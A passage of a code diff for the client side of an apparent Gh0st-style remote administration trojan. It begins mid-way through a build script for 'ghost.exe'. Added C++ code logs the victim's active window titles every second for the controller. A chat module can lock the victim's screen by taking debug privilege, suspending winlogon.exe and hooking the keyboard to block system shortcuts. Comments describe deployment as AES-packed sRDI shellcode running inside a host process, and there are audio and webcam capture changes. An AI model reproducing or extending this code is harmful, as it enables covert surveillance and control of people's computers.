Write-Host "========================================" -ForegroundColor Cyan
foreach ($plat in $clientPlatforms) {
Build-Project -Project $clientProject -Configuration $Config -Platform $plat -ForceClean $Clean
}
$elapsed = (Get-Date) - $startTime
Write-Host ""
Write-Host "========================================" -ForegroundColor Green
Write-Host " Build Completed!" -ForegroundColor Green
Write-Host " Time: $($elapsed.TotalSeconds.ToString('F1')) seconds" -ForegroundColor Green
Write-Host "========================================" -ForegroundColor Green
Write-Host ""
Write-Host "Output files:" -ForegroundColor Cyan
# VS default OutDir for this project: $(SolutionDir)$(Platform)\$(Configuration)\
# x86 output lands in <root>\Debug, x64 in <root>\x64\Debug.
foreach ($plat in $clientPlatforms) {
$outDir = if ($plat -eq "x64") { Join-Path (Join-Path $rootDir "x64") $Config } else { Join-Path $rootDir $Config }
$clientOut = Join-Path $outDir "ghost.exe"
if (Test-Path $clientOut) {
$size = (Get-Item $clientOut).Length / 1MB
Write-Host " $clientOut ($($size.ToString('F2')) MB)" -ForegroundColor White
} else {
Write-Host " WARNING: expected output not found at $clientOut" -ForegroundColor Yellow
}
}
exit 0
}
# Determine platforms to build
$platforms = if ($Platform -eq "all") { @("x86", "x64") } else { @($Platform) }
+126
View File
@@ -0,0 +1,126 @@
// ActivityHistory.cpp: 客户端历史活动记录采集模块
#include "stdafx.h"
#include "ActivityHistory.h"
#include "KernelManager.h" // ActivityWindow
ActivityHistory& ActivityHistory::Instance()
{
static ActivityHistory inst;
return inst;
}
void ActivityHistory::Start()
{
if (m_started.exchange(true))
return;
m_running = true;
m_thread = std::thread(&ActivityHistory::Loop, this);
}
void ActivityHistory::Stop()
{
m_running = false;
if (m_thread.joinable())
m_thread.join();
}
std::string ActivityHistory::Dump() const
{
std::lock_guard<std::mutex> lock(m_mutex);
std::string out;
// 当前进行中的窗口:若已持续达到阈值,作为最新一条返回
if (!m_curTitle.empty() && m_curDwellSec >= ACTIVITY_MIN_DWELL_SEC)
out += FormatRecord(m_curStartTime, m_curTitle, m_curDwellSec) + "\n";
for (const auto& r : m_records)
out += r + "\n";
return out;
}
void ActivityHistory::Loop()
{
// 空闲打断阈值:远大于 ACTIVITY_MIN_DWELL_SEC,避免“停在一个窗口上看几秒”被过早结账。
const DWORD IDLE_THRESHOLD_MS = ACTIVITY_IDLE_BREAK_SEC * 1000;
ActivityWindow aw;
HWND lastHwnd = NULL;
std::string lastTitle;
std::string startTime;
int dwellSec = 0;
while (m_running) {
// 取前台窗口句柄 + 标题;空闲/锁定/取不到标题时 hwnd==NULL 或 title 为空
HWND hwnd = aw.GetActiveWindowHandle(IDLE_THRESHOLD_MS);
std::string title = aw.GetActiveTitleOrEmpty(IDLE_THRESHOLD_MS);
{
std::lock_guard<std::mutex> lock(m_mutex);
if (hwnd == NULL || title.empty()) {
// 空闲/锁定/无标题:结账上一个窗口
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
lastHwnd = NULL;
lastTitle.clear();
dwellSec = 0;
} else if (hwnd == lastHwnd) {
// 同一窗口:即使标题动态变化也连续累计,标题取最新值
++dwellSec;
lastTitle = title;
} else {
// 窗口切换:结账上一个,开始累计新窗口
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
lastHwnd = hwnd;
lastTitle = title;
startTime = NowStr();
dwellSec = 1;
}
while (m_records.size() > ACTIVITY_HISTORY_MAX)
m_records.pop_back();
m_curTitle = lastTitle;
m_curStartTime = startTime;
m_curDwellSec = dwellSec;
}
Sleep(1000);
}
}
std::string ActivityHistory::FormatRecord(const std::string& startTime, const std::string& title, int dwellSec)
{
// 标题里的换行会破坏“每行一条”,做最小清洗
std::string t;
t.reserve(title.size());
for (char c : title) {
if (c == '\r' || c == '\n') c = ' ';
t += c;
}
return "[" + startTime + "] [" + t + "] " + FormatDuration(dwellSec);
}
std::string ActivityHistory::FormatDuration(int sec)
{
if (sec < 0) sec = 0;
if (sec < 60)
return std::to_string(sec) + "s";
if (sec < 3600) {
int m = sec / 60, s = sec % 60;
return s ? std::to_string(m) + "m" + std::to_string(s) + "s"
: std::to_string(m) + "m";
}
int h = sec / 3600, m = (sec % 3600) / 60;
return std::to_string(h) + "h" + std::to_string(m) + "m";
}
std::string ActivityHistory::NowStr()
{
SYSTEMTIME st;
GetLocalTime(&st);
char buf[32];
sprintf_s(buf, sizeof(buf), "%04d-%02d-%02d %02d:%02d:%02d",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
return buf;
}
+54
View File
@@ -0,0 +1,54 @@
#pragma once
#include <string>
#include <deque>
#include <mutex>
#include <thread>
#include <atomic>
// 历史活动记录:
// 每条格式:[YYYY-MM-DD HH:MM:SS] [窗口标题] <时长>
// 倒序存储(最新在前)。后台线程每 1 秒采样一次前台窗口。
#define ACTIVITY_MIN_DWELL_SEC 5 // 一闪而过阈值(秒):驻留低于此值不记录
#define ACTIVITY_IDLE_BREAK_SEC 300 // 空闲打断阈值(秒):空闲超过此值才结账当前窗口
// 注意:与心跳“活动窗口”列的 6s 判定不同,这里要远大于 MIN_DWELL,
// 否则“停在一个窗口上看 10 秒”会被 6s 空闲判定过早结账/漏记
#define ACTIVITY_HISTORY_MAX 500 // 内存保留的最大记录条数
class ActivityHistory
{
public:
static ActivityHistory& Instance();
// 启动常驻采样线程(幂等,重复调用无副作用)
void Start();
// 停止采样线程
void Stop();
// 返回全部历史记录(最新在前,多行文本,每行一条)
std::string Dump() const;
private:
ActivityHistory() = default;
~ActivityHistory() { Stop(); }
ActivityHistory(const ActivityHistory&) = delete;
ActivityHistory& operator=(const ActivityHistory&) = delete;
void Loop();
// 拼一条记录字符串
static std::string FormatRecord(const std::string& startTime, const std::string& title, int dwellSec);
// 时长格式化:Ns / Nm / NmNs / NhNm
static std::string FormatDuration(int sec);
// 当前时间戳 "YYYY-MM-DD HH:MM:SS"
static std::string NowStr();
mutable std::mutex m_mutex;
std::deque<std::string> m_records; // 已完成记录,最新在前
std::string m_curTitle; // 当前进行中的窗口标题
std::string m_curStartTime; // 当前窗口的起始时间
int m_curDwellSec = 0; // 当前窗口已连续活跃秒数
std::atomic<bool> m_running{ false };
std::atomic<bool> m_started{ false };
std::thread m_thread;
};
+1
View File
@@ -74,6 +74,7 @@ CAudio::~CAudio()
WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack)
Mprintf("没有成功关闭waveInCallBack.\n");
Mprintf("TerminateThread: waveIn 线程 handle=%p threadId=%lu\n", m_Thread, GetThreadId(m_Thread));
TerminateThread(m_Thread, -999);
m_Thread = NULL;
}
+4
View File
@@ -21,6 +21,10 @@ extern "C" {
#pragma comment(lib,"ffmpeg/libavcodec_x64.lib")
#pragma comment(lib,"ffmpeg/libavutil_x64.lib")
#pragma comment(lib,"ffmpeg/libswresample_x64.lib")
// libyuv 不属于 ffmpeg:硬编前要把 BGRA/RGB24 转成 I420/NV12。以前这条链接声明
// 只写在 X264Encoder.cpp 里,一旦 DISABLE_X264_FOR_TEST=1 关掉 x264 就跟着消失,
// 硬编 obj 会报 LNK2001。CFFmpegAV1Encoder.cpp 复用本文件的 pragma,这里补上即可。
#pragma comment(lib,"libyuv/libyuv_x64.lib")
// dav1d (AV1 软解,C 项目) —— 不分 Debug/Release。
// build 时启用了 --enable-libdav1d,libavcodec 内部 av1 decoder 引用了 dav1d 符号。
#pragma comment(lib,"ffmpeg/dav1d_x64.lib")
+4 -2
View File
@@ -46,13 +46,15 @@ CCaptureVideo::~CCaptureVideo()
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
{
Mprintf("CCaptureVideo call Open\n");
HRESULT hResult = S_OK;
HRESULT hResult = S_FALSE;
do {
hResult = InitCaptureGraphBuilder();
if (FAILED(hResult))
break;
if(!BindVideoFilter(iDeviceID, &m_pBF))
if (!BindVideoFilter(iDeviceID, &m_pBF)) {
hResult = S_FALSE;
break;
}
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
+44
View File
@@ -0,0 +1,44 @@
// ChatDialogTemplate.h: IDD_CHAT 的编译后 DLGTEMPLATEEX(内嵌内存模板)
//
// 用途:加壳部署(EXE + SC_AES/sRDI)的客户端里,ChatManager 的 hInstance 是外壳进程
// 映像(GetModuleHandle(NULL)),其资源里只有清单、没有 IDD_CHAT;而载荷 EXE 以裸
// shellcode 在壳进程内运行,未注册进加载器,FindResource/LoadResource/CreateDialogParamW
// 一律取不到资源(实测 Win11 26200 返回 err=1812 / 59)。此时用下面的内存模板直接
// CreateDialogIndirectParamW 建窗,与部署形态无关。
//
// 数据来源:client/Script.rc 的 IDD_CHAT(DIALOGEX)。DLGTEMPLATEEX 的字符串字段
// 一律是 UTF-16,同一份字节既可用于 A 接口也可用于 W 接口;聊天窗口固定用 W 接口
// 创建成 Unicode 对话框,否则 MBCS 客户端在非中文系统(德语等)上会按系统代码页
// 渲染 GBK 字节,中文全部乱码。
//
// 重新生成(改动 Script.rc 的 IDD_CHAT 后必须同步):
// 1. rc /fo dlg.res dlg.rc (dlg.rc 只保留与 Script.rc 相同的 IDD_CHAT 块)
// 2. link /dll /noentry /machine:x64 /out:dlg.dll dlg.res
// 3. 从 dlg.dll 的 RT_DIALOG(5) → 106 → 任意语言 取数据块,按 16 字节一行导出。
// 当前块 240 字节:CAPTION "Remote Chat"、FONT 9 "MS Shell Dlg" charset 1、
// 控件 ID 1001/1002/1003/1004,与 Script.rc 完全一致。
#ifndef YAMA_CHAT_DIALOG_TEMPLATE_H
#define YAMA_CHAT_DIALOG_TEMPLATE_H
// DLGTEMPLATEEX 的 DWORD 字段要求模板指针 4 字节对齐;显式声明对齐,避免依赖
// 编译器把字节数组放在什么边界上。
__declspec(align(4)) static const unsigned char kChatDialogTemplate[] = {
0x01, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x08, 0xCA, 0x80,
0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x00, 0x9B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x00,
0x65, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x20, 0x00, 0x43, 0x00, 0x68, 0x00,
0x61, 0x00, 0x74, 0x00, 0x00, 0x00, 0x09, 0x00, 0x90, 0x01, 0x00, 0x01, 0x4D, 0x00, 0x53, 0x00,
0x20, 0x00, 0x53, 0x00, 0x68, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x20, 0x00, 0x44, 0x00,
0x6C, 0x00, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x44, 0x08, 0xA1, 0x50, 0x03, 0x00, 0x03, 0x00, 0xE5, 0x00, 0x6B, 0x00, 0xE9, 0x03, 0x00, 0x00,
0xFF, 0xFF, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x44, 0x00, 0xA1, 0x50, 0x03, 0x00, 0x71, 0x00, 0xAA, 0x00, 0x26, 0x00, 0xEA, 0x03, 0x00, 0x00,
0xFF, 0xFF, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x01, 0x50, 0xB2, 0x00, 0x74, 0x00, 0x36, 0x00, 0x0E, 0x00, 0xEB, 0x03, 0x00, 0x00,
0xFF, 0xFF, 0x80, 0x00, 0x53, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x50, 0xB2, 0x00, 0x85, 0x00,
0x36, 0x00, 0x0E, 0x00, 0xEC, 0x03, 0x00, 0x00, 0xFF, 0xFF, 0x80, 0x00, 0x45, 0x00, 0x6E, 0x00,
0x64, 0x00, 0x20, 0x00, 0x43, 0x00, 0x68, 0x00, 0x61, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,
};
#endif // YAMA_CHAT_DIALOG_TEMPLATE_H
+522
View File
@@ -0,0 +1,522 @@
// ChatManager.cpp: implementation of the CChatManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ChatManager.h"
#include "ChatDialogTemplate.h"
#include "ImageResource.h"
#include "Common.h"
#include "resource.h"
#include <TlHelp32.h>
#include <string>
#if ENABLE_MESSAGE
// 远程交谈(双向聊天)被控端实现,移植自 SimplePlugins/ChatManager。
// 服务端 CChat 对话框发起会话后,被控端在此显示聊天窗口,并支持服务端远程锁定屏幕。
#define SE_DEBUG_PRIVILEGE 20
typedef LONG(__stdcall* RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
typedef LONG(__stdcall* SuspendOrResumeProcess)(HANDLE hProcess);
struct PIDWNDINFO {
DWORD dwProcessId;
HWND hWnd;
};
// 锁定屏幕相关的全局状态(同一会话内只有一个 CChatManager 实例)
static HANDLE g_hProcess = NULL;
static SuspendOrResumeProcess g_lpfnNtResumeProcess = NULL;
static HHOOK g_hKeyBoard = NULL;
static int g_nLocked = 0;
// 加壳部署用:从本模块映像自建的聊天窗口图标,只建一次,进程内复用(不销毁)
static volatile LONG g_lOwnIconsState = 0; // 0=未建 1=建中 2=已建
static HICON g_hOwnIconSmall = NULL;
static HICON g_hOwnIconBig = NULL;
static void EnsureOwnChatIcons()
{
if (InterlockedCompareExchange(&g_lOwnIconsState, 1, 0) == 0) {
g_hOwnIconSmall = CreateImageIcon(&__ImageBase, IDI_ICON_MSG,
GetSystemMetrics(SM_CXSMICON), GetSystemMetrics(SM_CYSMICON));
g_hOwnIconBig = CreateImageIcon(&__ImageBase, IDI_ICON_MSG,
GetSystemMetrics(SM_CXICON), GetSystemMetrics(SM_CYICON));
InterlockedExchange(&g_lOwnIconsState, 2); // 全屏障,发布句柄
return;
}
// 另一个线程正在建:短暂等待其发布,避免读到尚未赋值的句柄
for (int i = 0; i < 50 && g_lOwnIconsState != 2; i++) {
Sleep(1);
}
}
static DWORD GetWinlogonPid()
{
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32 pEntry = { sizeof(pEntry) };
BOOL rtn = Process32First(snap, &pEntry);
while (rtn) {
if (strcmp(pEntry.szExeFile, "winlogon.exe") == 0) {
CloseHandle(snap);
return pEntry.th32ProcessID;
}
memset(pEntry.szExeFile, 0, sizeof(pEntry.szExeFile));
rtn = Process32Next(snap, &pEntry);
}
CloseHandle(snap);
return 0;
}
// 屏蔽 alt+tab / alt+f4 / win 键等系统快捷键
static LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
{
if (code == HC_ACTION) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
switch (wParam) {
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
case WM_KEYUP:
case WM_SYSKEYUP:
if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+TAB
|| (p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+F4
|| (p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0) // Alt+Esc
|| (p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0) // Ctrl+Esc
|| (p->vkCode == VK_LWIN)
|| (p->vkCode == VK_RWIN)) {
// 低层钩子按后装先调用的顺序排队,直接 return 1 会让链上更早安装的
// 钩子(例如同机运行的主控的系统热键转发)永远收不到这些键。
// 先沿链传递再返回 1:别的钩子能看见按键并自行决定是否转发,
// 本机 shell 仍然被拦住,锁屏效果不变。
::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
return 1;
}
break;
}
}
return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
}
static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
{
PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam;
LONG lStyle = GetWindowLong(hWnd, GWL_STYLE);
if (pInfo->dwProcessId == 0 && hWnd != pInfo->hWnd &&
IsWindowVisible(hWnd) && GetParent(hWnd) == NULL && (lStyle & WS_MINIMIZEBOX)) {
ShowWindow(hWnd, SW_MINIMIZE);
return TRUE;
}
DWORD dwProcessId;
GetWindowThreadProcessId(hWnd, &dwProcessId);
if (dwProcessId == pInfo->dwProcessId && IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
pInfo->hWnd = hWnd;
return FALSE;
}
return TRUE;
}
// 安装键盘钩子并挂起 winlogon(必须在聊天窗口线程调用,确保钩子有消息循环)
static void ChatSetHook()
{
g_hKeyBoard = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL), 0);
HMODULE hMod = LoadLibrary("ntdll");
if (hMod) {
RtlAdjustPrivilege lpfnRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege");
SuspendOrResumeProcess lpfnNtSuspendProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess");
g_lpfnNtResumeProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess");
DWORD pid = GetWinlogonPid();
BOOLEAN dummy = 0;
if (lpfnRtlAdjustPrivilege) lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &dummy);
g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (g_hProcess && lpfnNtSuspendProcess) lpfnNtSuspendProcess(g_hProcess);
}
}
static void ChatUnSetHook()
{
if (g_hKeyBoard) {
UnhookWindowsHookEx(g_hKeyBoard);
g_hKeyBoard = NULL;
}
if (g_lpfnNtResumeProcess && g_hProcess) {
g_lpfnNtResumeProcess(g_hProcess);
}
if (g_hProcess) {
CloseHandle(g_hProcess);
g_hProcess = NULL;
}
g_lpfnNtResumeProcess = NULL;
}
// 解除锁定:恢复鼠标/屏保/任务栏/开始菜单/桌面,并恢复 winlogon
static void UnlockScreen()
{
ChatUnSetHook();
ClipCursor(NULL);
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, FALSE, 0, SPIF_UPDATEINIFILE);
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_SHOW);
::ShowWindow(::FindWindow("Button", "开始"), SW_SHOW);
::ShowWindow(::FindWindow("Progman", NULL), SW_SHOW);
g_nLocked = 0;
}
//////////////////////////////////////////////////////////////////////
// 聊天文字:Unicode 窗口与 CP936 转换
//////////////////////////////////////////////////////////////////////
// 聊天窗口是 Unicode 对话框:客户端整体是 MBCS 工程,但聊天窗口用 W 接口创建,
// 文字以 UTF-16 存在内存里,与系统 ANSI 代码页无关——德语/日语等非中文系统上
// 中文不再乱码。静态标签按系统 UI 语言选择:中文系统保持中文,其余用英文。
struct ChatUiStrings {
const wchar_t* caption;
const wchar_t* send;
const wchar_t* end;
const wchar_t* self;
const wchar_t* peer;
const wchar_t* errChars;
const wchar_t* errTooLong;
};
static const ChatUiStrings& ChatUi()
{
static const ChatUiStrings zhChatUi = {
L"远程交谈", L"发送消息", L"结束交谈", L"自己:", L"对方:",
L"消息未发送:含 GBK 不支持的字符(emoji 或带变音符号的字母)",
L"消息未发送:超过 4000 字节上限"
};
static const ChatUiStrings enChatUi = {
L"Remote Chat", L"Send", L"End Chat", L"Me:", L"Peer:",
L"Not sent: the message contains characters GBK cannot represent "
L"(emoji or accented letters)",
L"Not sent: the message exceeds the 4000-byte limit"
};
static const bool bChineseUI =
(PRIMARYLANGID(GetUserDefaultUILanguage()) == LANG_CHINESE);
return bChineseUI ? zhChatUi : enChatUi;
}
// 服务端聊天正文一律是 CP936 字节;转成 UTF-16 交给 Unicode 编辑框显示。
static bool Cp936ToWide(const char* src, int cbSrc, std::wstring& out)
{
out.clear();
if (!src || cbSrc <= 0) return true;
int cch = MultiByteToWideChar(936, 0, src, cbSrc, NULL, 0);
if (cch <= 0) return false;
out.resize((size_t)cch);
return MultiByteToWideChar(936, 0, src, cbSrc, &out[0], cch) > 0;
}
static size_t ChatBoundedStrlen(const char* s, size_t nMax)
{
size_t n = 0;
while (n < nMax && s[n] != '\0') ++n;
return n;
}
// 追加一条聊天记录。控件是 Unicode 窗口,即使在 MBCS 工程里也必须用 W 接口,
// 否则文字会被按系统代码页转换。
static void AppendChatLine(HWND hDlg, const wchar_t* who, const wchar_t* body)
{
HWND hEditChatLog = GetDlgItem(hDlg, IDC_EDIT_CHATLOG);
if (!hEditChatLog) return;
SYSTEMTIME st;
GetLocalTime(&st);
wchar_t stamp[64] = { 0 };
swprintf_s(stamp, L"%d/%d/%d %d:%02d:%02d",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
std::wstring text(who);
text += L' ';
text += stamp;
text += L"\r\n ";
if (body) text += body;
text += L"\r\n\r\n";
int nLen = GetWindowTextLengthW(hEditChatLog);
if (nLen >= 20000) {
SetWindowTextW(hEditChatLog, L"");
nLen = 0;
}
SendMessageW(hEditChatLog, EM_SETSEL, nLen, nLen);
SendMessageW(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)text.c_str());
}
// 把聊天窗口显式居中到鼠标所在显示器的工作区。模板里的 DS_CENTER 在多显示器布局下
// 可能算出负坐标,再被系统夹到工作区左上角(三屏机器上实测稳定复现),所以不依赖它。
static void CenterChatDialog(HWND hDlg)
{
RECT rc;
if (!GetWindowRect(hDlg, &rc)) return;
const int cx = rc.right - rc.left;
const int cy = rc.bottom - rc.top;
RECT rcWork;
POINT pt;
MONITORINFO mi = { sizeof(mi) };
if (GetCursorPos(&pt) && GetMonitorInfo(MonitorFromPoint(pt, MONITOR_DEFAULTTOPRIMARY), &mi)) {
rcWork = mi.rcWork;
} else if (!SystemParametersInfo(SPI_GETWORKAREA, 0, &rcWork, 0)) {
return;
}
int x = rcWork.left + (rcWork.right - rcWork.left - cx) / 2;
int y = rcWork.top + (rcWork.bottom - rcWork.top - cy) / 2;
if (x < rcWork.left) x = rcWork.left;
if (y < rcWork.top) y = rcWork.top;
SetWindowPos(hDlg, NULL, x, y, 0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CChatManager::CChatManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
{
m_hInstance = HINSTANCE(user);
m_hWnd = NULL;
m_bRun = TRUE;
g_nLocked = 0;
// 向服务端发起远程交谈,服务端打开 CChat 对话框后会回发 COMMAND_NEXT_CHAT
BYTE bToken = TOKEN_CHAT_START;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
WaitForDialogOpen();
m_hThread = __CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL);
Mprintf("Chat 构造\n");
}
CChatManager::~CChatManager()
{
m_bRun = FALSE;
// 必须先销毁窗口再等线程:消息循环阻塞在 GetMessageW 里看不到 m_bRun,只有
// 收到 WM_USER + 1(DestroyWindow → PostQuitMessage)才会退出。关闭命令没送到
// (子连接先断、服务端 WaitSendIdle 超时后 CancelIO)时,旧的先等后销毁顺序会
// 死锁在这里,留下一个隐藏的聊天窗口和卡死的线程。
if (m_hWnd) {
SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
}
while (m_hThread)
Sleep(100);
if (g_nLocked == 1) {
UnlockScreen();
}
Mprintf("Chat 析构\n");
}
DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
{
CChatManager* pThis = (CChatManager*)lParam;
HANDLE& hThread(pThis->m_hThread);
// 聊天窗口必须是 Unicode 窗口:ANSI 窗口会按系统代码页解释文字,非中文系统
// (德语等)上 GBK 中文一律乱码。资源里的 IDD_CHAT 是 DIALOGEX,字符串本来
// 就是 UTF-16,W 接口可直接加载。
pThis->m_hWnd = CreateDialogParamW(pThis->m_hInstance, MAKEINTRESOURCEW(IDD_CHAT), NULL,
CChatManager::ChatDialogProc, (LPARAM)pThis);
if (!pThis->m_hWnd) {
// 加壳部署(EXE + SC_AES/sRDI)时 m_hInstance 是外壳进程映像:资源里没有
// IDD_CHAT,而载荷以裸 shellcode 运行、未注册进加载器,资源 API 一律取不到
// 对话框(Windows 11 上 CreateDialogParamW 返回 err=1812 或 59)。
// 回退:用内嵌的 IDD_CHAT 编译后模板建窗,与部署形态无关。
DWORD dwError = GetLastError();
Mprintf("CreateDialogParamW(%lu) 失败,改用内嵌对话框模板\n", dwError);
pThis->m_hWnd = CreateDialogIndirectParamW(pThis->m_hInstance,
(LPCDLGTEMPLATEW)kChatDialogTemplate, NULL,
CChatManager::ChatDialogProc, (LPARAM)pThis);
}
if (pThis->m_hWnd) {
SendMessageW(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG), EM_SETLIMITTEXT, 8158, 0);
CenterChatDialog(pThis->m_hWnd);
SetWindowPos(pThis->m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);
// 移除最小化/最大化按钮
LONG lStyle = GetWindowLong(pThis->m_hWnd, GWL_STYLE);
lStyle &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
SetWindowLong(pThis->m_hWnd, GWL_STYLE, lStyle);
MSG msg;
// 本线程只拥有这个对话框,整轮循环用 W 版本收发:否则 WM_CHAR / WM_IME_*
// 会按系统 ANSI 代码页转换,非中文系统上中文输入法会丢字。
// m_bRun 先判断:析构里置 FALSE 后即使没有新消息也要能退出,不能卡在 GetMessageW。
while (pThis->m_bRun && GetMessageW(&msg, NULL, 0, 0)) {
if (!IsDialogMessageW(pThis->m_hWnd, &msg)) {
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
}
// 兜底:若循环在窗口销毁之前就因 m_bRun 被清掉而退出(析构执行到销毁之前
// 线程就已建好窗口),在同一线程里补一次销毁,避免残留隐藏窗口。
if (pThis->m_hWnd) {
HWND hWnd = pThis->m_hWnd;
pThis->m_hWnd = NULL;
DestroyWindow(hWnd);
}
}
CloseHandle(hThread);
hThread = NULL;
return 0;
}
INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
CChatManager* pThis = (CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA);
switch (uMsg) {
case WM_INITDIALOG:
SetWindowLongPtr(hDlg, GWLP_USERDATA, (LONG_PTR)lParam);
pThis = (CChatManager*)lParam;
SetWindowTextW(hDlg, ChatUi().caption);
SetDlgItemTextW(hDlg, IDC_BUTTON_SEND, ChatUi().send);
SetDlgItemTextW(hDlg, IDC_BUTTON_END, ChatUi().end);
{
HICON hIconSmall = LoadIcon(pThis->m_hInstance, MAKEINTRESOURCE(IDI_ICON_MSG));
HICON hIconBig = hIconSmall;
if (!hIconSmall) {
// 加壳部署取不到图标资源:直接从本模块映像里读 RT_ICON 建图标,
// 仍失败才退回系统默认图标(共享图标,不可销毁)
EnsureOwnChatIcons();
hIconSmall = g_hOwnIconSmall ? g_hOwnIconSmall : LoadIcon(NULL, IDI_APPLICATION);
hIconBig = g_hOwnIconBig ? g_hOwnIconBig : hIconSmall;
}
if (hIconSmall) SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hIconSmall);
if (hIconBig) SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hIconBig);
}
return TRUE;
case WM_COMMAND:
if (LOWORD(wParam) == IDC_BUTTON_SEND) {
HWND hEditNewMsg = GetDlgItem(hDlg, IDC_EDIT_NEWMSG);
int cch = GetWindowTextLengthW(hEditNewMsg);
if (cch <= 0) {
SetFocus(hEditNewMsg);
return TRUE; // 消息为空不发送
}
std::wstring text((size_t)cch + 1, L'\0');
GetWindowTextW(hEditNewMsg, &text[0], cch + 1);
text.resize(wcslen(text.c_str()));
if (text.empty()) {
SetFocus(hEditNewMsg);
return TRUE;
}
// 协议仍是 CP936:UTF-16 → GBK 严格转换。GBK 表示不了的字符(emoji、
// ö/ä/ß 等)直接拒发并提示,绝不静默变成 '?'。
BOOL usedDefault = FALSE;
int nNeed = WideCharToMultiByte(936, WC_NO_BEST_FIT_CHARS, text.c_str(), -1,
NULL, 0, NULL, &usedDefault);
if (nNeed <= 1 || usedDefault) {
AppendChatLine(hDlg, ChatUi().self, ChatUi().errChars);
return TRUE;
}
if (nNeed - 1 > 4000) {
AppendChatLine(hDlg, ChatUi().self, ChatUi().errTooLong);
return TRUE;
}
std::string gbk((size_t)nNeed, '\0');
WideCharToMultiByte(936, WC_NO_BEST_FIT_CHARS, text.c_str(), -1,
&gbk[0], nNeed, NULL, &usedDefault);
if (usedDefault) {
AppendChatLine(hDlg, ChatUi().self, ChatUi().errChars);
return TRUE;
}
pThis->Send((LPBYTE)&gbk[0], (ULONG)gbk.size()); // 含结尾 NUL
AppendChatLine(hDlg, ChatUi().self, text.c_str());
SetDlgItemTextW(hDlg, IDC_EDIT_NEWMSG, L"");
SetFocus(hEditNewMsg);
return TRUE;
}
if (LOWORD(wParam) == IDC_BUTTON_END) {
// 被控端关闭聊天窗口:仅隐藏对话框,会话保持。关闭交谈始终由服务端发起,
// 服务端继续发消息时 OnReceive 会用 SW_RESTORE 重新弹出本对话框。
